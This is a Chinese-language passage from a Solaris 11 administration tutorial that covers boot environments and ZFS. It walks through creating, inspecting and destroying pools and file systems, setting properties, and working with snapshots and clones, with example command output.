要跟随此过程,我们需要一台运行 Oracle Solaris 11 的机器(物理机或虚拟机);我们以 root 用户身份登录系统并打开终端。可能需要一些额外的磁盘空间。

如何做……

为了执行这个过程,我们必须从当前的 BE(solaris_test_1)创建一个备份,之后我们应该能够从这个备份创建一个新的 BE。整个过程使用快照。(在这种情况下,我们使用逻辑快照,它通过指针来保持原始镜像不变。)我们通过运行以下命令来创建一个快照:

root@solaris11:~# beadm create solaris_test_1@backup
root@solaris11:~# beadm list -a solaris_test_1
BE/Dataset/Snapshot                               Active Mountpoint Space   Policy Created          
-------------------                               ------ ---------- -----   ------ -------          
solaris_test_1
rpool/ROOT/solaris_test_1                         NR     /          26.06G static 2013-11-05 22:38 
rpool/ROOT/solaris_test_1/var                     -      /var       421.96M static 2013-11-08 04:06 
rpool/ROOT/solaris_test_1/var@2013-10-10-22:27:20 -      -          66.49M  static 2013-10-10 19:27 
rpool/ROOT/solaris_test_1/var@2013-11-08-06:06:01 -      -          62.48M  static 2013-11-08 04:06 
rpool/ROOT/solaris_test_1/var@backup              -      -          73.0K   static 2013-11-08 04:23 
rpool/ROOT/solaris_test_1/var@install             -      -          63.03M  static 2013-10-05 21:01 
rpool/ROOT/solaris_test_1@2013-10-10-22:27:20     -      -          132.81M static 2013-10-10 19:27 
rpool/ROOT/solaris_test_1@2013-11-08-06:06:01     -      -          65.78M  static 2013-11-08 04:06 
rpool/ROOT/solaris_test_1@backup                  -      -          0       static 2013-11-08 04:23 
rpool/ROOT/solaris_test_1@install                 -      -          105.95M static 2013-10-05 21:01 

我们现在准备从另一个 BE 创建一个新 BE:

root@solaris11:~# beadm create -e solaris_test_1@backup solaris_test_2
root@solaris11:~# beadm list
BE                 Active Mountpoint Space   Policy  Created        
--                 ------ ---------- -----   ------  -------          
solaris            -      -          8.57M   static  2013-10-05 20:44 
solaris-backup-1   -      -          303.0K  static  2013-10-26 22:49 
solaris-backup-a   -      -          7.26G   static  2013-10-10 19:57 
solaris_test_1     NR     -          26.06G  static  2013-11-05 22:38 
solaris_test_2     -      -          209.0K  static  2013-11-08 04:23 

此时,激活这个环境(beadm activate solaris_test_2)并启动它可能是合乎逻辑的。

最后,在结束本章之前,我们需要重新激活原始的 solaris 启动环境,重启系统,并删除所有剩余的 BEs:

root@solaris11:~# beadm activate solaris
root@solaris11:~# init 6
root@solaris11:~# beadm destroy solaris_test_2
Are you sure you want to destroy solaris_test_2?  This action cannot be undone(y/[n]): y

root@solaris11:~# beadm destroy solaris_test_1
Are you sure you want to destroy solaris_test_1?  This action cannot be undone(y/[n]): y

root@solaris11:~# beadm destroy solaris-backup-a
Are you sure you want to destroy solaris-backup-a?  This action cannot be undone(y/[n]): y

root@solaris11:~# beadm destroy solaris-backup-1
Are you sure you want to destroy solaris-backup-1?  This action cannot be undone(y/[n]): y

root@solaris11:~# beadm list
BE       Active  Mountpoint  Space   Policy  Created          
--       ------  ----------  -----   ------  -------          
solaris  NR      /           25.46G  static  2013-10-05 20:44

过程概述

本章的最后一个示例向我们展示了一种基于旧的启动环境(BE)快速创建新启动环境的方法。为此,我们首先需要进行备份。最后,我们销毁了现有的 BE,以清理系统。显然,销毁正在启动的 BE 是不合适的。

参考资料

第二章:ZFS

在本章中,我们将覆盖以下内容:

  • 创建 ZFS 存储池和文件系统

  • 玩转 ZFS 故障和属性

  • 创建 ZFS 快照和克隆

  • 在 ZFS 文件系统中执行备份

  • 处理日志和缓存

  • 管理存储池中的设备

  • 配置备用磁盘

  • 处理 ZFS 快照和克隆

  • 玩转 COMSTAR

  • 镜像根池

  • ZFS 阴影

  • 使用 SMB 共享配置 ZFS 共享

  • 设置和获取其他 ZFS 属性

  • 玩转 ZFS 交换空间

引言

ZFS 是 Oracle Solaris 11 提供的 128 位事务文件系统,它支持 256 万亿个目录条目,没有文件数量的上限,并且始终在磁盘上保持一致性。Oracle Solaris 11 将 ZFS 作为默认文件系统,提供一些功能,如存储池、快照、克隆和卷。在管理 ZFS 对象时,第一步是创建一个 ZFS 存储池。存储池可以由整个磁盘、文件和切片组成,考虑到任何提到的块设备的最小大小是 128 MB。此外,在创建 ZFS 存储池时,可用的 RAID 配置包括条带(RAID 0)、镜像(RAID 1)和 RAID-Z(类似于 RAID-5)。镜像和 RAID-Z 配置都支持一个名为自愈数据的功能,通过保护数据来工作。在这种情况下,当磁盘上出现坏块时,ZFS 框架会从另一个复制的磁盘中获取相同的块来修复原始坏块。RAID-Z 提供三种变体:raidz1(类似于 RAID-5),使用至少三个磁盘(两个数据磁盘和一个奇偶校验磁盘);raidz2(类似于 RAID-6),使用至少五个磁盘(3D 和 2P);以及 raidz3(类似于 RAID-6,但具有额外的奇偶校验级别),使用至少八个磁盘(5D 和 3P)。

创建 ZFS 存储池和文件系统

要开始玩转 ZFS,第一步是创建一个存储池,之后所有的文件系统都会在这些存储池中创建。为了完成存储池的创建,我们需要决定使用哪种 RAID 配置(条带、镜像或 RAID-Z)来创建存储池,然后再在其上创建文件系统。

准备工作

要遵循此步骤,必须使用一台运行 Oracle Solaris 11 的虚拟机(VMware 或 VirtualBox),并且该虚拟机需要有 4 GB 的内存和八个 4 GB 的磁盘。虚拟机启动并运行后,作为 root 用户登录并打开终端。

如何做…

存储池是一个逻辑对象,它代表存储的物理特性,必须在其他任何操作之前创建。创建存储池的第一步是列出系统中所有可用的磁盘,并选择将要使用的磁盘,可以通过以 root 角色运行以下命令来完成:

root@solaris11-1:~# format
Searching for disks...done

AVAILABLE DISK SELECTIONS:
       0\. c8t0d0 <VBOX-HARDDISK-1.0-80.00GB>
          /pci@0,0/pci1000,8000@14/sd@0,0
       1\. c8t1d0 <VBOX-HARDDISK-1.0-16.00GB>
          /pci@0,0/pci1000,8000@14/sd@1,0
       2\. c8t2d0 <VBOX-HARDDISK-1.0-4.00GB>
          /pci@0,0/pci1000,8000@14/sd@2,0
       3\. c8t3d0 <VBOX-HARDDISK-1.0 cyl 2046 alt 2 hd 128 sec 32>
          /pci@0,0/pci1000,8000@14/sd@3,0
       4\. c8t4d0 <VBOX-HARDDISK-1.0 cyl 2046 alt 2 hd 128 sec 32>
          /pci@0,0/pci1000,8000@14/sd@4,0
       5\. c8t5d0 <VBOX-HARDDISK-1.0 cyl 2046 alt 2 hd 128 sec 32>
          /pci@0,0/pci1000,8000@14/sd@5,0
       6\. c8t6d0 <VBOX-HARDDISK-1.0 cyl 2046 alt 2 hd 128 sec 32>
          /pci@0,0/pci1000,8000@14/sd@6,0
       7\. c8t8d0 <VBOX-HARDDISK-1.0 cyl 2046 alt 2 hd 128 sec 32>
          /pci@0,0/pci1000,8000@14/sd@8,0
       8\. c8t9d0 <VBOX-HARDDISK-1.0 cyl 2046 alt 2 hd 128 sec 32>
          /pci@0,0/pci1000,8000@14/sd@9,0
       9\. c8t10d0 <VBOX-HARDDISK-1.0 cyl 2046 alt 2 hd 128 sec 32>
          /pci@0,0/pci1000,8000@14/sd@a,0
      10\. c8t11d0 <VBOX-HARDDISK-1.0 cyl 2046 alt 2 hd 128 sec 32>
          /pci@0,0/pci1000,8000@14/sd@b,0
Specify disk (enter its number):

在选择磁盘后,创建一个zpool create存储池,并使用zpool listzpool status命令验证此池的信息。在这些步骤之前,我们必须决定池的配置:stripe(默认),mirror,raidz,raidz2 或 raidz3。如果没有指定配置,默认假设为 stripe(raid0)。然后,通过运行以下命令创建池:

root@solaris11-1:~# zpool create oracle_stripe_1 c8t3d0 c8t4d0
'oracle_stripe_1' successfully created, but with no redundancy; failure of one device will cause loss of the pool

要列出池,请执行以下命令:

root@solaris11-1:~# zpool list oracle_stripe_1
NAME              SIZE   ALLOC  FREE   CAP  DEDUP  HEALTH  ALTROOT
oracle_stripe_1   7.94G  122K   7.94G  0%   1.00x  ONLINE  -

要验证池的状态,请运行以下命令:

root@solaris11-1:~# zpool status oracle_stripe_1
  pool: oracle_stripe_1
 state: ONLINE
  scan: none requested
config:

  NAME             STATE     READ WRITE CKSUM
  oracle_stripe_1  ONLINE       0     0     0
  c8t3d0           ONLINE       0     0     0
  c8t4d0           ONLINE       0     0     0

errors: No known data errors

尽管这超出了本章的范围,但我们可以通过运行以下命令列出一些相关的性能信息:

root@solaris11-1:~# zpool iostat -v oracle_stripe_1
                  capacity       operations    bandwidth
pool              alloc   free   read  write   read  write
----------------  -----  -----  -----  -----  -----  -----
oracle_stripe_1   128K    7.94G    0      0    794     56
  c8t3d0          53K     3.97G    0      0    391     24
  c8t4d0          74.5K   3.97G    0      0    402     32
----------------  -----  -----  -----  -----  -----  -----

如果需要,可以使用相同的命令创建第二个和第三个存储池,但要使用不同的磁盘,并分别切换到mirrorraidz配置。此任务可以通过运行以下命令来完成:

root@solaris11-1:~# zpool create oracle_mirror_1 mirror c8t5d0 c8t6d0
root@solaris11-1:~# zpool list oracle_mirror_1
NAME              SIZE   ALLOC  FREE   CAP  DEDUP  HEALTH  ALTROOT
oracle_mirror_1   3.97G  85K    3.97G  0%   1.00x  ONLINE  -
root@solaris11-1:~# zpool status oracle_mirror_1
  pool: oracle_mirror_1
 state: ONLINE
  scan: none requested
config:
  NAME             STATE      READ  WRITE  CKSUM
  oracle_mirror_1  ONLINE       0     0      0
  mirror-0         ONLINE       0     0      0
  c8t5d0           ONLINE       0     0      0
  c8t6d0           ONLINE       0     0      0

errors: No known data errors
root@solaris11-1:~# zpool create oracle_raidz_1 raidz c8t8d0 c8t9d0 c8t10d0
root@solaris11-1:~# zpool list oracle_raidz_1
NAME             SIZE  ALLOC   FREE  CAP  DEDUP  HEALTH  ALTROOT
oracle_raidz_1  11.9G   176K  11.9G   0%  1.00x  ONLINE  -
root@solaris11-1:~# zpool status oracle_raidz_1
pool: oracle_raidz_1
 state: ONLINE
  scan: none requested
config:

  NAME            STATE     READ WRITE CKSUM
  oracle_raidz_1  ONLINE       0     0     0
  raidz1-0        ONLINE       0     0     0
  c8t8d0          ONLINE       0     0     0
  c8t9d0          ONLINE       0     0     0
  c8t10d0         ONLINE       0     0     0

errors: No known data errors

存储池创建完成后,是时候在这些池中创建文件系统了。首先,让我们在oracle_stripe_1池中创建一个名为zfs_stripe_1的文件系统。执行以下命令:

root@solaris11-1:~# zfs create oracle_stripe_1/zfs_stripe_1

使用相同的语法,很容易在oracle_mirror_1oracle_raidz_1中分别创建名为zfs_mirror_1zfs_raidz_1的两个新文件系统:

root@solaris11-1:~# zfs create oracle_mirror_1/zfs_mirror_1
root@solaris11-1:~# zfs create oracle_raidz_1/zfs_raidz_1

最近创建的文件系统列表可以通过运行以下命令获取:

root@solaris11-1:~# zfs list
NAME                            USED   AVAIL  REFER  MOUNTPOINT
(truncated output)
oracle_mirror_1                 124K   3.91G  32K    /oracle_mirror_1
oracle_mirror_1/zfs_mirror_1    31K    3.91G  31K  /oracle_mirror_1/zfs_mirror_1
oracle_raidz_1                  165K   7.83G  36.0K  /oracle_raidz_1
oracle_raidz_1/zfs_raidz_1      34.6K  7.83G  34.6K  /oracle_raidz_1/zfs_raidz_1
oracle_stripe_1                 128K   7.81G  32K    /oracle_stripe_1
oracle_stripe_1/zfs_stripe_1    31K    7.81G  31K  /oracle_stripe_1/zfs_stripe_1
(truncated output)
root@solaris11-1:~# zfs list oracle_stripe_1 oracle_mirror_1 oracle_raidz_1
NAME             USED  AVAIL  REFER  MOUNTPOINT
oracle_mirror_1  124K  3.91G    32K  /oracle_mirror_1
oracle_raidz_1   165K  7.83G  36.0K  /oracle_raidz_1
oracle_stripe_1  128K  7.81G    32K  /oracle_stripe_1

ZFS 引擎已经为所有创建的文件系统自动创建了挂载点目录,并且已将其挂载。也可以通过执行以下命令来验证这一点:

root@solaris11-1:~# zfs mount
rpool/ROOT/solaris              /
rpool/ROOT/solaris/var          /var
rpool/VARSHARE                  /var/share
rpool/export                    /export
rpool/export/home               /export/home
oracle_mirror_1                 /oracle_mirror_1
oracle_mirror_1/zfs_mirror_1    /oracle_mirror_1/zfs_mirror_1
oracle_stripe_1                 /oracle_stripe_1
oracle_stripe_1/zfs_stripe_1    /oracle_stripe_1/zfs_stripe_1
rpool                           /rpool
oracle_raidz_1                  /oracle_raidz_1
oracle_raidz_1/zfs_raidz_1      /oracle_raidz_1/zfs_raidz_1

最后的两行确认我们创建的 ZFS 文件系统已经挂载并准备好使用。

本教程概览

本教程教我们如何创建具有不同配置的存储池,如 stripe,mirror 和 raidz。此外,我们还学习了如何在这些池中创建文件系统。

操作 ZFS 故障和属性

ZFS 完全基于可以改变存储池和文件系统行为的属性。本教程将涉及 ZFS 中的一些重要属性,我们将学习如何处理这些属性。

准备工作

为了跟随本教程,需要使用一个虚拟机(VMware 或 VirtualBox),该虚拟机运行 Oracle Solaris 11,具有 4 GB RAM 和八个 4 GB 磁盘。虚拟机启动并运行后,作为 root 用户登录并打开终端。

如何操作……

每个 ZFS 对象都有可以访问且大多数情况下可以更改的属性。例如,要获取池的属性,我们必须执行以下命令:

root@solaris11-1:~# zpool get all oracle_mirror_1
NAME                PROPERTY       VALUE               SOURCE
(truncated output)
oracle_mirror_1     bootfs         -                   default
oracle_mirror_1     cachefile      -                   default
oracle_mirror_1     capacity       0%                  -
oracle_mirror_1     dedupditto     0                   default
oracle_mirror_1     dedupratio     1.00x               -
oracle_mirror_1     delegation     on                  default
oracle_mirror_1     failmode       wait                default
oracle_mirror_1     free           3.97G               -
oracle_mirror_1     guid           730796695846862911  -
(truncated output)

从先前输出的一些有用信息中,我们可以看到空闲空间为 3.97 GB(free属性),池处于在线状态(health属性),并且总容量的0%已被使用(capacity属性)。如果我们需要了解与池相关的任何问题(参考health属性),建议通过运行以下命令获取此信息:

root@solaris11-1:~# zpool status -x 
all pools are health
root@solaris11-1:~# zpool status -x oracle_mirror_1
pool 'oracle_mirror_1' is healthy
root@solaris11-1:~# zpool status oracle_mirror_1
  pool: oracle_mirror_1
 state: ONLINE
  scan: none requested
config:

    NAME             STATE     READ WRITE CKSUM
    oracle_mirror_1  ONLINE       0     0     0
    mirror-0         ONLINE       0     0     0
    c8t5d0           ONLINE       0     0     0
    c8t6d0           ONLINE       0     0     0

另一种检查指定存储池中所有数据是否正常的绝佳方法是使用 zpool scrub 命令,它检查校验和是否正确,并且对于复制设备(例如镜像和 raidz 配置),zpool scrub 命令会修复发现的问题。为了跟踪 zpool scrub 结果,可以使用 zpool status 命令,方法如下:

root@solaris11-1:~# zpool scrub oracle_mirror_1
root@solaris11-1:~# zpool status oracle_mirror_1
  pool: oracle_mirror_1
 state: ONLINE
scan: scrub in progress since Tue Jun 10 04:04:56 2014
    2.53G scanned out of 3.91G at 24.0M/s, 0h1m to go
    0 repaired, 64.71% done
config:

    NAME             STATE     READ WRITE CKSUM
    oracle_mirror_1  ONLINE       0     0     0
    mirror-0         ONLINE       0     0     0
    c8t5d0           ONLINE       0     0     0
    c8t6d0           ONLINE       0     0     0

一段时间后,如果一切顺利,同样的 zpool 状态命令应显示以下输出:

root@solaris11-1:~# zpool status oracle_mirror_1
  pool: oracle_mirror_1
 state: ONLINE
scan: scrub repaired 0 in 0h4m with 0 errors on Tue Jun 10 04:09:48 2014
config:

    NAME             STATE     READ WRITE CKSUM
    oracle_mirror_1  ONLINE    0     0     0
        mirror-0  ONLINE       0     0     0
          c8t5d0  ONLINE       0     0     0
          c8t6d0  ONLINE       0     0     0

在分析可能的磁盘错误时,以下 zpool history 命令可能非常有用,能够显示池上发生的所有事件:

root@solaris11-1:~# zpool history oracle_mirror_1
History for 'oracle_mirror_1':
2013-11-27.19:14:15 zpool create oracle_mirror_1 mirror c8t5d0 c8t6d0
2013-11-27.19:57:31 zfs create oracle_mirror_1/zfs_mirror_1
(truncated output)

Oracle Solaris 故障管理器通过其 fmd 守护进程提供了一个框架,接收系统检测到的潜在问题信息,对这些问题进行诊断,并最终采取主动措施以保持系统完整性,例如禁用内存模块。因此,该框架提供了以下 fmadm 命令,当与 faulty 参数一起使用时,显示 Oracle Solaris 故障管理器认为有故障的资源信息:

root@solaris11-1:~# fmadm faulty

以下 dmesg 命令确认任何可疑的硬件错误:

root@solaris11-1:~# dmesg

zpool status 命令中,可以看到 status 字段的一些可能值:

  • ONLINE:这意味着池是正常的

  • FAULTED:这意味着池存在故障

  • OFFLINE:这意味着池被管理员禁用

  • DEGRADED:这意味着某些东西(很可能是磁盘)出现了故障,但池仍在工作

  • REMOVED:这意味着磁盘进行了热插拔

  • UNAVAIL:这意味着设备或虚拟设备无法打开

回到 ZFS 属性,可以通过运行以下命令轻松获取 ZFS 文件系统的属性信息:

root@solaris11-1:~# zfs list -r oracle_mirror_1
NAME                          USED  AVAIL  REFER  MOUNTPOINT
oracle_mirror_1               124K  3.91G    32K  /oracle_mirror_1
oracle_mirror_1/zfs_mirror_1   31K  3.91G    31K  /oracle_mirror_1/zfs_mirror_1
root@solaris11-1:~# zfs get all oracle_mirror_1/zfs_mirror_1
NAME                          PROPERTY          VALUE         SOURCE
oracle_mirror_1/zfs_mirror_1  aclinherit        restricted    default
oracle_mirror_1/zfs_mirror_1  aclmode           discard       default
oracle_mirror_1/zfs_mirror_1  atime             on            default
oracle_mirror_1/zfs_mirror_1  available         3.91G         -
oracle_mirror_1/zfs_mirror_1  canmount          on            default
oracle_mirror_1/zfs_mirror_1  casesensitivity   mixed         -
oracle_mirror_1/zfs_mirror_1  checksum          on            default
(truncated output)

前两条命令需要做一些解释——zfs list –r 显示了 oracle_mirror_1 存储池下的所有数据集(文件系统、快照、克隆等)。此外,zfs get all oracle_mirror_1/zfs_mirror_1 显示了 zfs_mirror_1 文件系统的所有属性。

文件系统有许多属性(其中一些是只读的,其他是读写的),建议了解其中的一些属性。几乎所有属性都是可继承的——子对象(例如快照或克隆对象)会继承父对象(例如文件系统)配置的值。

设置属性值的方法是执行以下命令:

root@solaris11-1:~# zfs set mountpoint=/oracle_mirror_1/another_point oracle_mirror_1/zfs_mirror_1
root@solaris11-1:~# zfs list -r oracle_mirror_1
NAME                          USED  AVAIL  REFER  MOUNTPOINT
oracle_mirror_1               134K  3.91G    32K  /oracle_mirror_1
oracle_mirror_1/zfs_mirror_1   31K  3.91G    31K  /oracle_mirror_1/another_point

旧的挂载点被重命名为 /oracle_mirror_1/another_point 目录,并重新挂载。稍后我们将回到这一点并查看一些属性。

当有需要时,可以通过运行以下命令重命名 ZFS 文件系统:

root@solaris11-1:~# zfs rename oracle_stripe_1/zfs_stripe_1 oracle_stripe_1/zfs_test_1
root@solaris11-1:~# zfs list -r oracle_stripe_1
NAME                         USED  AVAIL  REFER  MOUNTPOINT
oracle_stripe_1              128K  7.81G    32K  /oracle_stripe_1
oracle_stripe_1/zfs_test_1   31K   7.81G    31K  /oracle_stripe_1/zfs_test_1
root@solaris11-1:~# df -h /oracle_stripe_1/*
Filesystem             Size   Used  Available Capacity  Mounted on
oracle_stripe_1/zfs_test_1
                       7.8G    31K       7.8G     1%    /oracle_stripe_1/zfs_test_1

Oracle Solaris 11 自动更改了重命名的文件系统的挂载点,并重新挂载了该文件系统。

要销毁 ZFS 文件系统或存储池,不能有任何访问数据集的进程。例如,如果我们尝试在某个进程正在使用该目录时删除zfs_test文件系统,就会收到错误:

root@solaris11-1:~# cd /oracle_stripe_1/zfs_test_1
root@solaris11-1:~# zfs list -r oracle_stripe_1
NAME                          USED  AVAIL  REFER  MOUNTPOINT
oracle_stripe_1               128K  7.81G    32K  /oracle_stripe_1
oracle_stripe_1/zfs_test_1  31.5K  7.81G  31.5K  /oracle_stripe_1/zfs_test_1
root@solaris11-1:~# zfs destroy oracle_stripe_1/zfs_test_1
cannot unmount '/oracle_stripe_1/zfs_test_1': Device busy

本案例提供了几种可能性——首先(也是最推荐的)是了解哪些进程或应用程序正在使用提到的文件系统。一旦找到有罪的进程或应用程序,下一步就是停止它们。因此,可以在不丢失任何数据的情况下解决所有问题。然而,如果找不到有罪的进程的可能性,那么杀死有问题的进程将是一个可行且不可预测的选项,其中可能会发生数据丢失。最后,使用-f选项会引起强制销毁,显然这是不可取的,可能会导致数据丢失。以下是通过运行以下命令的第二个过程(杀死有问题的进程):

root@solaris11-1:~# fuser -cu /oracle_stripe_1/zfs_test_1
/oracle_stripe_1/zfs_test_1:     1977c(root)
root@solaris11-1:~# ps -ef | grep 1977
    root  1977  1975   0 07:03:14 pts/1       0:00 bash

我们使用了fuser命令,它使我们能够查找访问特定文件或目录的进程。因此,根据前两个输出,有一个进程正在使用/oracle_stripe_1/zfs_test_1文件系统,而ps –ef命令显示bash进程是罪魁祸首,这是正确的,因为在尝试删除之前我们已经更改了挂载点。要解决这个问题,只需保留/oracle_stripe_1/zfs_test_1目录即可。不过,如果我们不知道如何解决这个问题,最后的办法就是运行以下命令杀死有问题的进程:

root@solaris11-1:~# kill -9 1977

此时,没有进程访问文件系统,因此可能会将其销毁:

root@solaris11-1:~# zfs destroy oracle_stripe_1/zfs_test_1

要验证文件系统是否正确销毁,请执行以下命令:

root@solaris11-1:~# zfs list -r oracle_stripe_1
NAME              USED   AVAIL  REFER  MOUNTPOINT
oracle_stripe_1   89.5K  7.81G    31K  /oracle_stripe_1

一切顺利进行,文件系统被销毁。然而,如果在此文件系统下存在快照或克隆(我们将在下一个操作步骤中查看和学习它们),我们将无法删除文件系统,并且应该使用相同的命令并加上–r选项(用于快照内部)或–R选项(用于快照和克隆内部)。从这里开始,还可以使用zpool destroy命令销毁整个池。然而,我们应该注意一个细节——如果没有任何进程使用要销毁池中任何文件系统,Oracle Solaris 11 在销毁池时不会询问任何关于销毁池的问题。池中的所有内容都将被销毁,不会有任何提示(这与 Windows 系统不同,在执行危险操作前会提示警告)。为了证明这个说法,在下一个示例中,我们将在oracle_stripe_1池中创建一个文件系统,向其中放入一些信息,最后将销毁所有池:

root@solaris11-1:~# zfs list -r oracle_stripe_1
NAME              USED  AVAIL  REFER  MOUNTPOINT
oracle_stripe_1  89.5K  7.81G    31K  /oracle_stripe_1
root@solaris11-1:~# zfs create oracle_stripe_1/fs_1
root@solaris11-1:~# cp /etc/[a-e]* /oracle_stripe_1/fs_1
root@solaris11-1:~# zfs list -r oracle_stripe_1     
NAME                   USED  AVAIL  REFER  MOUNTPOINT
oracle_stripe_1       4.01M  7.81G    35K  /oracle_stripe_1
oracle_stripe_1/fs_1  82.5K  7.81G  82.5K  /oracle_stripe_1/fs_1
root@solaris11-1:~# zpool list oracle_stripe_1
NAME              SIZE  ALLOC   FREE  CAP  DEDUP  HEALTH  ALTROOT
oracle_stripe_1  7.94G  4.01M  7.93G   0%  1.00x  ONLINE  -
root@solaris11-1:~# zpool destroy oracle_stripe_1
root@solaris11-1:~# zpool list
NAME              SIZE  ALLOC   FREE  CAP  DEDUP  HEALTH  ALTROOT
iscsi_pool       3.97G  2.62M  3.97G   0%  1.00x  ONLINE  -
oracle_mirror_1  3.97G   134K  3.97G   0%  1.00x  ONLINE  -
oracle_raidz_1   11.9G   248K  11.9G   0%  1.00x  ONLINE  -
repo_pool        15.9G  7.64G  8.24G  48%  1.00x  ONLINE  -
rpool            79.5G  31.8G

配方概述

通过使用zpoolzfs命令,我们创建、列出、重命名和销毁了池和文件系统。此外,我们还学习了如何查看和修改属性,特别是对日常 ZFS 管理至关重要的挂载点属性。我们还学习了如何查看池历史、监控池并收集关于相关池故障的重要信息。

创建 ZFS 快照和克隆

ZFS 快照和克隆在 ZFS 框架和 Oracle Solaris 11 中扮演着重要角色,因为这些功能有许多用途,其中之一就是执行备份和从 ZFS 文件系统恢复文件。例如,当 ZFS 文件系统出现损坏或用户丢失特定文件时,快照可能非常有用。使用 ZFS 快照可以将 ZFS 文件系统完全回滚到某个特定的时间点或日期。

准备工作

要遵循这个步骤,需要使用一台虚拟机(VMware 或 VirtualBox),运行 Oracle Solaris 11,配置 4 GB 的内存和 8 块 4 GB 的磁盘。一旦虚拟机启动并运行,作为 root 用户登录并打开终端。

如何操作…

创建快照是一个基本任务,可以通过运行以下命令来执行:

root@solaris11-1:~# zpool create pool_1 c8t3d0
root@solaris11-1:~# zfs create pool_1/fs_1

在继续之前,我建议我们将一些大文件复制到pool_1/fs_1文件系统中。在这个例子中,我使用了系统中已有的文件,但你可以将任何文件复制到文件系统中。运行以下命令:

root@solaris11-1:~# cp -r mh* jo* /pool_1/fs_1/
root@solaris11-1:~# zfs list -r pool_1/fs_1 
NAME          USED  AVAIL  REFER  MOUNTPOINT
pool_1/fs_1  63.1M  3.85G  63.1M  /pool_1/fs_1

最后,我们通过运行以下命令来创建快照:

root@solaris11-1:~# zfs snapshot pool_1/fs_1@snap1

默认情况下,即使使用zfs list -r命令,快照也不会显示:

root@solaris11-1:~# zfs list -r pool_1
NAME          USED  AVAIL  REFER  MOUNTPOINT
pool_1       63.2M  3.85G    32K  /pool_1
pool_1/fs_1  63.1M  3.85G  63.1M  /pool_1/fs_1

这种行为由池的listsnapshots属性控制(其默认值为off):

root@solaris11-1:~# zpool get listsnapshots pool_1
NAME    PROPERTY       VALUE  SOURCE
pool_1  listsnapshots  off    local

需要将listsnapshots修改为on,以更改此行为:

root@solaris11-1:~# zpool set listsnapshots=on pool_1
root@solaris11-1:~# zfs list -r pool_1
NAME                USED  AVAIL  REFER  MOUNTPOINT
pool_1             63.2M  3.85G    32K  /pool_1
pool_1/fs_1        63.1M  3.85G  63.1M  /pool_1/fs_1
pool_1/fs_1@snap1      0      -  63.1M  -

一切按计划进行。然而,当执行前面的命令时,所有数据集(文件系统和快照)都会被列出。为了仅列出快照,需要使用–t选项指定过滤器,如下所示:

root@solaris11-1:~# zfs list -t snapshot
NAME                                         USED  AVAIL  REFER  MOUNTPOINT
pool_1/fs_1@snap1                               0      -  63.1M  -
rpool/ROOT/solaris@install                   106M      -  3.52G  -
rpool/ROOT/solaris@2013-10-10-22:27:20       219M      -  3.77G  -
rpool/ROOT/solaris@2013-11-26-08:38:27      1.96G      -  24.2G  -
rpool/ROOT/solaris/var@install              63.0M      -   189M  -
rpool/ROOT/solaris/var@2013-10-10-22:27:20  66.5M      -   200M  -
rpool/ROOT/solaris/var@2013-11-26-08:38:27   143M      -   291M  -

之前的命令如预期地仅显示了现有的快照。一个有趣的事实是,快照存在于文件系统内部,最初它们不会占用磁盘空间。然而,随着文件系统的更改,快照会占用空闲空间,这可能是一个大问题。考虑到这一点,SIZE属性的值为零,而REFER63.1M,这正是pool_1/fs_1文件系统的确切大小。

REFER字段值得解释——当在任何 IT 领域解释快照时,分类都是一样的。快照有物理快照和逻辑快照。物理快照占用与参考文件系统相同的空间,并且在读/写操作期间两者不会相互影响。创建快照需要较长时间,因为它是参考文件系统中所有内容的“复制”。在这种情况下,快照是一个静态图像,表示创建快照时文件系统的确切状态。此后,快照将不再与参考文件系统同步。如果管理员希望两者保持同步,必须手动操作。

另一种分类,逻辑快照,与物理快照完全不同。当创建逻辑快照时,只会创建指向参考文件系统数据的指针,但快照内部没有数据。这个过程非常快,且占用的磁盘空间很小。缺点是任何读操作都会影响参考文件系统。还有两个附加效果——当参考文件系统中的某些数据发生变化时,操作系统会将要修改的数据复制到快照中,再进行修改(这个过程叫做写时复制COW))。为什么?因为我们之前解释过,快照是参考文件系统在某一时刻的静态图像。如果某些数据发生变化,快照必须保持不变,并且必须包含创建时的相同数据。第二个更严重的后果是,如果参考文件系统丢失,所有快照都会失效。为什么?因为参考文件系统不再存在,所有的指针都会变得无效。

回到REFER字段的解释;它表示在快照中,指针引用了参考文件系统中的多少数据。克隆是文件系统的一个副本,并且是基于快照的,因此创建克隆之前,必须先创建快照。然而,克隆和快照之间有一个根本性的区别——快照是只读对象,而克隆是读/写对象。因此,我们可以像写入文件系统一样在克隆中进行写操作。另一个有趣的事实是,由于在创建克隆之前必须存在快照,克隆依赖于快照,且两者必须在同一个池中创建。通过执行以下命令可以创建一个池:

root@solaris11-1:~# zfs clone pool_1/fs_1@snap1 pool_1/clone_1 
root@solaris11-1:~# zfs list -r pool_1
NAME                USED  AVAIL  REFER  MOUNTPOINT
pool_1             63.2M  3.85G    33K  /pool_1
pool_1/clone_1       25K  3.85G  63.1M  /pool_1/clone_1
pool_1/fs_1        63.1M  3.85G  63.1M  /pool_1/fs_1
pool_1/fs_1@snap1      0      -  63.1M  -

如果我们看一下这个输出,区分克隆和文件系统是比较复杂的。然而,我们可以收集足够的细节来区分这些数据集:

root@solaris11-1:~# zfs get origin pool_1/fs_1
NAME         PROPERTY  VALUE  SOURCE
pool_1/fs_1  origin    -      -
root@solaris11-1:~# zfs get origin pool_1/fs_1@snap1
NAME               PROPERTY  VALUE  SOURCE
pool_1/fs_1@snap1  origin    -      -
root@solaris11-1:~# zfs get origin pool_1/clone_1   
NAME            PROPERTY  VALUE              SOURCE
pool_1/clone_1  origin    pool_1/fs_1@snap1  -

origin属性与池和快照无关,但当在克隆上下文中分析此属性时,它会告诉我们克隆来源于pool1_/fs_1@snap1快照。因此,通过运行以下命令,我们可以确认pool_1/fs_1@snap1确实是一个快照:

root@solaris11-1:~# zfs get type pool_1/fs_1@snap1
NAME               PROPERTY  VALUE     SOURCE
pool_1/fs_1@snap1  type      snapshot  -

在 ZFS 中,对象创建顺序是pool | filesystem | snapshot | clone。因此,销毁顺序应为相反顺序:clone | snapshot | filesystem | pool。通过使用特别选项,我们可以跳过某些步骤,这些选项将在稍后介绍。

例如,如果我们尝试销毁包含快照的文件系统,将显示以下错误:

root@solaris11-1:~# zfs destroy pool_1/fs_1
cannot destroy 'pool_1/fs_1': 
filesystem has children
use '-r' to destroy the following datasets:
pool_1/fs_1@snap1

同样地,如果我们在没有先移除克隆的情况下尝试销毁快照,将显示以下信息:

root@solaris11-1:~# zfs destroy pool_1/fs_1@snap1
cannot destroy 'pool_1/fs_1@snap1': 
snapshot has dependent clones
use '-R' to destroy the following datasets:
pool_1/clone_1

